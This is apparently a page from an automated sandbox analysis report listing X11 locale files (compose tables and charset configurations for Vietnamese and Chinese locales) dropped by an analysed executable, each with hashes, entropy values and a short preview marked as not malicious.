Preview:	# 1998/12/18 Le Hong Boi $.#.# TCVN 5712-2 Compose Sequences.#.# Sequence Definition.#.# dead key accent keysyms.# Special Character.<dead_grave> <space>...: "`".grave.<dead_hook> <space>...: " ".space.<dead_tilde> <space>...: "~".asciitilde.<dead_acute> <space>...: "'".apostrophe.<dead_acute> <apostrophe>..: "\264".acute.# Accented Alphabet.<dead_grave> <A>...: "\200".Agrave.<dead_grave> <a>...: "\265".agrave.<dead_hook> <A>....: "\266".Ahook.<dead_hook> <a>....: "\266".ahook.<dead_tilde> <A>...: "\202".Atilde.<dead_tilde> <a>...: "\267".atilde.<dead_acute> <A>...: "\203".Aacute.<dead_acute> <a>...: "\270".aacute.<dead_belowdot> <A>...: "\271".Abelowdot.<dead_belowdot> <a>...: "\271".abelowdot.<dead_grave> <Abreve>...: "\273".Abrevegrave.<dead_grave> <abreve>...: "\273".abrevegrave.<dead_hook> <Abreve>...: "\274".Abrevehook.<dead_hook> <abreve>...: "\274".abrevehook.<dead_tilde> <Abreve>...: "\275".Abrevetilde.<dead_tilde> <abreve>...: "\275".abrevetilde.<dead_acute> <Abreve>...: "\27

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\vi_VN.tcvn\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.199600351547315
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFAc6sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMicoeCXoXKfXoc9RwvIo8WJb
MD5:	8F406CC64FFF882694BE4CFCAED2C284
SHA1:	AC480D78EF21EC55C0C481141DC0E193BA73D320
SHA-256:	3FD427902101C0859D1190D5803F2DF5FFDE718796E3F5990C653DF6A38CD1B6
SHA-512:	92269F934845C95479F9D2672D0D77FB3D09E350826D5459A33AE392A165F1784715B0BCDD04B1A02C28DE0F9181F006CACAA68B3502C7F6C0D0422C212F0434
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for vi_VN.tcvn locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\vi_VN.tcvn\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	927
Entropy (8bit):	5.332390253740002
Encrypted:	false
SSDEEP:	12:eiGttckJWrRdsnUXEPzB52qXXqFKJl/12dqnBlwuOyfFhOblcjdRaffDJ7/1ocVk:eFWE728XXvBGuO4iQ+fDJ7/GGGm/7Fs
MD5:	C79E7D40138978181DDBA5194FA6DD7E
SHA1:	0841D9ABC57506E7381CBD081E78E5A295BFEFCA
SHA-256:	4E8844683851016F8691A9A480B9953749B8B4E9562099AE15A1D1D038811EC5
SHA-512:	8B3937649205CE19B2707F8F958C146ABD70F75963BDEBBE88E1BFD9DAA953878A2FD481CFBC29F9F83AA5144E63CE694C66DEA50930A65AA20C4AB96427EB08
Malicious:	false
Preview:	# XLocale Database Sample for vi_VN.TCVN.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..TCVN-5712:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset TCVN-5712:GR..font TCVN-5712:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.TCVN-5712..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name TCVN-5712.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding TCVN-5712:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding TCVN-5712:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\vi_VN.viscii\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5509
Entropy (8bit):	4.98076878771711
Encrypted:	false
SSDEEP:	96:p3aeYUjrt0SdKR6TMtK7xCrhf6YTvK66r6/8j5/XCGUKRTOKXN7Z6cGN:Uedjrt0Sd7T8K76iYTvK6p/6XCGUKTXK
MD5:	8B24C36AEC19B9A1CA6B0A2C11582F9D
SHA1:	E1828C215DF7B55DFF3F133CEF7912A16EE7714D
SHA-256:	7F108EA2BEA94584DCC12C106C2CE229E666731D38B6438AD859CAB8F2173A16
SHA-512:	17578CEA041D452F09A4333F773602D517FB235216F40475C01D18966035FD5C9B47A82C7AE06474EDF4CA80EABED234FFF73290C457023496D1296D6254835F
Malicious:	false
Preview:	# 1998/12/18 Le Hong Boi $.#.# TCVN 5712-2 Compose Sequences.#.# Sequence Definition.#.# dead key accent keysyms.# Special Character.<dead_grave> <space>...: "`".grave.<dead_hook> <space>...: " ".space.<dead_tilde> <space>...: "~".asciitilde.<dead_acute> <space>...: "'".apostrophe.<dead_acute> <apostrophe>..: "\264".acute.# Accented Alphabet.<dead_grave> <A>...: "\300".Agrave.<dead_grave> <a>...: "\340".agrave.<dead_hook> <A>....: "\304".Ahook.<dead_hook> <a>....: "\344".ahook.<dead_tilde> <A>...: "\303".Atilde.<dead_tilde> <a>...: "\343".atilde.<dead_acute> <A>...: "\301".Aacute.<dead_acute> <a>...: "\341".aacute.<dead_belowdot> <A>...: "\200".Abelowdot.<dead_belowdot> <a>...: "\325".abelowdot.<dead_grave> <Abreve>...: "\202".Abrevegrave.<dead_grave> <abreve>...: "\242".abrevegrave.<dead_hook> <Abreve>...: "\002".Abrevehook.<dead_hook> <abreve>...: "\306".abrevehook.<dead_tilde> <Abreve>...: "\005".Abrevetilde.<dead_tilde> <abreve>...: "\307".abrevetilde.<dead_acute> <Abreve>...: "\20

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\vi_VN.viscii\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.198936504128464
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFAcuE+sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMiQoeCXoXKfXoc9RwvIo8WJb
MD5:	A812A709EDE9CE7B19243755B2502008
SHA1:	808D68CD6B1ED54D6F799D290019AAC638D784F5
SHA-256:	B0D1F14AF33F7D6990FCC08594CFB52E76E0077560D74D848B69F5AD51B59003
SHA-512:	8DA7A197624045B9D17A742870A090BDD589E0657489416D698B2AB3C43E2E82A52BD944976B60A222F6BA96F6DA0F5BFAAC8DA2FC3FF59CB88ACC0E1522A03E
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for vi_VN.viscii locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\vi_VN.viscii\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	943
Entropy (8bit):	5.295060081135547
Encrypted:	false
SSDEEP:	24:e1WETWg28XlS+nS+Nv5L2uO4USYQ+fDJ7/AS0GGm/7FlS+k:S5TTihmv56uOMCNNSxj
MD5:	B5C01E8047270ADB32C42EF0148489A4
SHA1:	24AB8FC0EBED3E782DD3797C93EB8846EB9DA96B
SHA-256:	7CBC2FA8E8FDC95A978125C691C64DB3C7DDD23CE9CA15B429003FC6E20E2132
SHA-512:	8EFF7F7B0ED906C7372CEEC04D87AC4284BE6C350419EAACE273D82900873F9CCDC46351452AA20F53FFE4A29CE48775F1486CE40103BAC344E1D4F16F6BD567
Malicious:	false
Preview:	# XLocale Database Sample for vi_VN.VISCII.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..VISCII1.1-1:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset VISCII1.1-1:GR..font VISCII1.1-1:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.VISCII1.1-1..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name VISCII1.1-1.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding VISCII1.1-1:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding VISCII1.1-1:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.256548550425285
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFB3K6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMX33qeCXoXKfXoc9RwvIo8WJb
MD5:	FBEAD6609C11B0D6D6DF4CAFF6E5094A
SHA1:	657AE6DD461381E283E18370C4B6CE5DB9059A0C
SHA-256:	16F3BAEF683A4A2CBBD48574EB4E25537BDCE2348CE6913B3E13E3BF7459CA97
SHA-512:	71F06FB86CFCEB2CD851D39433A9A197676B4012A117ACFB75C3EDC1D702A3E26C3C9C2D9A79EA179A955A348B7E507EA16202639DAC911170CAEC58F1BDCEC3
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_CN.UTF-8 locale.#.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1916
Entropy (8bit):	4.2833728024883015
Encrypted:	false
SSDEEP:	48:eU3WgNO5dLpdI26uUr7118fYb/hMd44Id6xEw3K:U5dpd96uUrRaOb
MD5:	2641C6923CD7D28D4A4CBCE5F4AD756F
SHA1:	504DE634B3C13827556705A15F87180635E29BD0
SHA-256:	FF9DAD9D68A18C7867E8DBA84CCE49DFF607062E4A4F0A11218D4515C2D936D2
SHA-512:	C1464FDFB47EF89C28715EFCBCC3AD9528012448B2DBD49B14B52F997C5F55B0467FEA51BFC5A98B44C8D388FF33FB774BF58AE9183E0632AECCF45C37F1B6F2
Malicious:	false
Preview:	# XFree86 NLS for Chinese locale zh_CN.UTF-8.# Modified from xc/nls/XLC_LOCALE/en_US.UTF-8.# by James Su <suzhe@turbolinux.com.cn>.#..# .# XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading True..object_name generic..# We leave the legacy encodings in for the moment, because we don't.# have that many ISO10646 fonts yet..# fs0 class (7 bit ASCII).fs0 {. charset {. name ISO8859-1:GL. }. font {. primary ISO8859-1:GL. vertical_rotate all. }.}..# fs1 class (ISO8859 families).fs1 {. charset {. name ISO8859-1:GR. }. font {. primary ISO8859-1:GR. }.}..# fs2 class (Chinese Han Character).fs2 {. charset {. name GB2312.1980-0:GL. }. font {. primary GB2312.1980-0:GL. }.}..# fs3 class (Chinese Han Character GBK).fs3 {. charset {.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.gb18030\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	4.694680509489306
Encrypted:	false
SSDEEP:	6:LqmsqfL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LqmxAe6ldo0+62XdUmhn
MD5:	EE22D9E3A211139357D7AEAF57E3C9EC
SHA1:	467FFCE13D74D6799298C2C324C665B90CED8270
SHA-256:	5F5EB79A745399013D45EB45E7696BDC638372C386FA3A04FF9606A2381DCA0B
SHA-512:	D7D202EC51EA233FA7DB4632A1A17ADE3E28E525A57E34E2105323C23D122E5EA92CC4F3FC433B24B3AE884F8EF6C8B6B8FAFA5983FFBA863E3327B5D0B28DF4
Malicious:	false
Preview:	#.# zh_CN.GB18030 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.gb18030\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.27697330724591
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFAtsK6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMd3qeCXoXKfXoc9RwvIo8WJb
MD5:	AA0A6716DAEA4ABC4379633114974D06
SHA1:	BBEC2D2EEE993D2D0FC1B4BA1E4C29105A14505E
SHA-256:	BD1B6A4BF44CD2CB41063EF3F2B93FDA728F232D55CBE77AD13A964A135E327D
SHA-512:	3C64B6C7387C94B32D4EB4C8C7DA0347EBBA8188A7EF13EBCAFF0EA02902FD4B78B02EF46A6452A3F153DB22AC566267B2817CA01CC81CFAB2F13B03FCA5D6FA
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_CN.gb18030 locale.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.gb18030\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	5.335445897210391
Encrypted:	false
SSDEEP:	24:neIKC3/FkWehpaPJrdXLEpuZ17RaEl7hSIKiXC2wbIiDJ7KQmmt7tWFtMwC:e3C3SNaP5dXwcZ17RaEl8InXviADzMn
MD5:	19935373D530F9C9F73B87F63204217A
SHA1:	524582C9C800959D13E1C23C4EF312D00377D4C3
SHA-256:	BF46FAF4AF56D4944A4AE47C6AE71E33D8A9AC7DCCFFE99C19317DD54B8507A0
SHA-512:	CF830C804301ACA0C04FB62EDEA55DACAE90D35BC9373382B8252EE780B5CBF92D3DABAB251A062325FD786467BA696970CF71BEB3CBBB8BB7AA4E9AB23E06B9
Malicious:	false
Preview:	# XFree86 NLS for Chinese encoding GB18030.#..Modified from xc/nls/XLC_LOCALE/en_US.UTF-8.# .by James Su <suzhe@turbolinux.com.cn>..# .# .XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading.True..object_name..generic..#.We leave the legacy encodings in for the moment, because we don't.#.have that many ISO10646 fonts yet..# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary.ISO8859-1:GL...vertical_rotate.all..}.}..#.fs1 class (ISO8859 families).fs1.{..charset.{...name.ISO8859-1:GR..}..font.{...primary.ISO8859-1:GR..}.}..#.fs2 class (Chinese Han Character).fs2.{..charset.{...name.GB2312.1980-0:GL..}..font.{...primary.GB2312.1980-0:GL..}.}..#.fs3 class (Chinese Han Character GBK).fs3.{..charset.{...name GBK-0:GLGR..}..font.{...primary GBK-0:GLGR...substitute GB13000.1993-1:GLGR..}.}..#.fs4 class.fs4.{..charset.{...name.ISO10646-1..}..font.{...primary.GB18030-0...substitute GBK2K-0..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.gbk\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	4.635794939639091
Encrypted:	false
SSDEEP:	6:LqmAL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LqmGAe6ldo0+62XdUmhn
MD5:	49E49E503E5C0D867E4C5688DA7F4D19
SHA1:	239473620CADB1229D9A3C185A6A491BC2B8FAAA
SHA-256:	775AAC722B08F10D807171E2911D8EA163AE3B0D10A18659F08FD0065F118C67
SHA-512:	0AD0D062917E72F6D92CDB18DA719AA7B1B0890ABA40EAF2D3750D71A00F9405C68A3248DA1A0259F4552A177EE59E01BDD852F4E8FEF0989EAAC14488C6CEC2
Malicious:	false
Preview:	#.# zh_CN.GBK Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.gbk\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.190347729163788
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFCisKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMMPAOeCXoXKfXoc9RwvIo8WJb
MD5:	CB7A32080AD5F302DCF797A866CF5756
SHA1:	CA0D3CB5D0D5F40169B6982D2AD678B6A916163E
SHA-256:	BE9A55D0EFC5433D09668FEEA32119B46347030ED8A77BFB037E3187465026FB
SHA-512:	412B0C9DAA3E09CFEE61C936DEF18D8361DD5DE6CC605AAF18817A27B697E5348217DCE41E07813465C2449D9AA56ECB92744847278E28110575A8A579F0C36C
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_CN.gbk locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN.gbk\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	5.0563054793205895
Encrypted:	false
SSDEEP:	24:fFMC3I2ybD0BWjiVK1WGaVMwFQwmDJ7/tfGmzcsA8eORGQvt:f2C3I2/V+PFNskcsA8xGGt
MD5:	1E7F3D4FDEF4A246A7EBB2D567A99344
SHA1:	BC9138D66A310ADA2BD9AEC1FAEAAD729E5E65A2
SHA-256:	867506C5EAB137B6D1400AF3220591CD1B73E167C24D4FCA1B7D0E444FF9AEDB
SHA-512:	A65D082F81798EFE08D01C6C76E83189E2A907B5BACF2CAD8321FDB8649B6C84FA1224F99CB40496B51E5BB4453777B7863016CC701A225A0465DF7C590C1A22
Malicious:	false
Preview:	# .# X11R6 L10N for Chinese GBK Encoding..# modified from xc/nls/XLC_LOCALE/zh_TW.Big5.# by Sean Chen <seanc@turbolinux.com>.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# fs0 class (7 bit ASCII).fs0 {. charset {. name ISO8859-1:GL. }. font {. primary ISO8859-1:GL. vertical_rotate all. }.}.# fs1 class.fs1 {. charset {. name GBK-0:GLGR. }. font {. primary GBK-0:GLGR. substitute GB13000.1993-1:GLGR. }.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..zh_CN.GBK.mb_cur_max..2.state_depend_encoding.False..wc_encoding_mask.\x00008000.wc_shift_bits..8..use_stdc_env..True.force_convert_to_mb.True..# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..# .cs1 class.cs1.{..side..none..length..2..byte1..\x81,\xfe..byte2..\x40,\x7e

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.5445717869644024
Encrypted:	false
SSDEEP:	6:LIL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LeAe6ldo0+62XdUmhn
MD5:	AC1CE96E367E1D0B69FF8F77019AB455
SHA1:	AD2AB46A540D0268EAB3FF23C39FEAC373BB9707
SHA-256:	99FE397A363B04DB4E284B932D1A07AC96F7EE7EF4BDCC7E03F67776A14C84E2
SHA-512:	805670D3A90CF83D6187187E8B395EBFA419395806BD7EEF65168A329B46092FFB0C2B41F91D1F7488247AAEC8DE7C02A44DC8F9CE0DB6FCFCE0A7FF43F9F176
Malicious:	false
Preview:	#.# zh Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	382
Entropy (8bit):	5.151462695742595
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFZ3KsSzonR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMn3jGWOeCXoXKfXoc9RwvIo8Q
MD5:	4BBD57C5EFC8921C3B8E48C1F3EDF887
SHA1:	C4074293A1432F45509F87E16B10C51049587FBE
SHA-256:	CC9E1B698E840E25062F77A907DA69EEBD7CD1D55F090D0F368F1DA97CACB768
SHA-512:	73FA478171774ED021FF7E3697B108F747CDEE25AF31EF7877D256EB3A7F6E3971CB6E24900266CC7CDE9E19BBF95E647BAC71676CCC9A067028CE6EEDD31E91
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh locale.#.#.XLC.common/xlocale._XlcEucLoader.# XLC_open.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_CN\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	796
Entropy (8bit):	5.360003272160168
Encrypted:	false
SSDEEP:	12:emmttFJWrRdsnbXE2Xi43KUsQ33XX952HWjfJCFhGCn1RlchRahwqfDJ7/tRlGmT:eTLEIN3K1Mn24y1QQwqfDJ7/tfGm/7hF
MD5:	21D8C579BB09EF3190CBB3FF65F5F956
SHA1:	952A3B05C28746A582684BDB922202FEC29CEE0F
SHA-256:	51A8FBAC5FF0D7A0CD6C2A7D93A6774559999D6BDE75AC9118F326B20E435CF0
SHA-512:	F80E9065E114AA9BC78E38BD54912F3F3908710E31E2107620A9B627630BDD0CB84C50E29F587F322B2EDFE1297DF96FABC71B918A8B3DAA53043B77B0AA4895
Malicious:	false
Preview:	# XLocale Database Sample for zh (eucCN)..#..#.# .XLC_FONTSET category.#.XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class.fs1.{..charset.{...name.GB2312.1980-0:GL..}..font.{...primary.GB2312.1980-0:GL...substitute.GB2312.1980-0:GLGR..}.}.END XLC_FONTSET..#.# .XLC_XLOCALE category.#.XLC_XLOCALE..encoding_name..zh.euc.mb_cur_max..2.state_depend_encoding.False.wc_encoding_mask.\x30000000.wc_shift_bits..7...use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..# .cs1 class.cs1.{..side..GR:Default..length..2..wc_encoding.\x30000000..ct_encoding.GB2312.1980-0:GL; GB2312.1980-0:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.273082277229583
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFwxSsK6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMKf3qeCXoXKfXoc9RwvIo8WJb
MD5:	A9BBEFF73A5449882A4DF52D88F87E71
SHA1:	17461AF94050975B5E1DD4ED84B518F59E7A1F9F
SHA-256:	95FCB72DD3AE5E8D34183F3A068A7042434A82AC23801CADB22DFBF8ACE8A432
SHA-512:	F18F7324189D237218B342584EE481D3475E98E3E90AF2C67289D1728EB2071D36C9D0F46E9B77B6FF5B11F7B9CA07EA56DED347A1691FB4AC3C1620681D32F3
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_HK.UTF-8 locale.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1682
Entropy (8bit):	4.2785402385165785
Encrypted:	false
SSDEEP:	48:enY3WgN55dLp9I2jOYFi8fYb/hMd44IjFFxw3K:KS5dp99aiOdd
MD5:	82DF61B0964B2CCB5E94BC8E4A4831D0
SHA1:	148C66DC15A5ACFBE0CC5C25434435C6531E51D8
SHA-256:	0EC8952B41DC92786A4AE8380FD5F62521B7D68984DEA6A387D2896717C5D658
SHA-512:	5E7254DA7E08AA4DF65EE400410720BDE675C1D39EF517E232CB8782F75F4547936052741739A493618233EB70736748B8908DF2D761882047B162DFFCD9E684
Malicious:	false
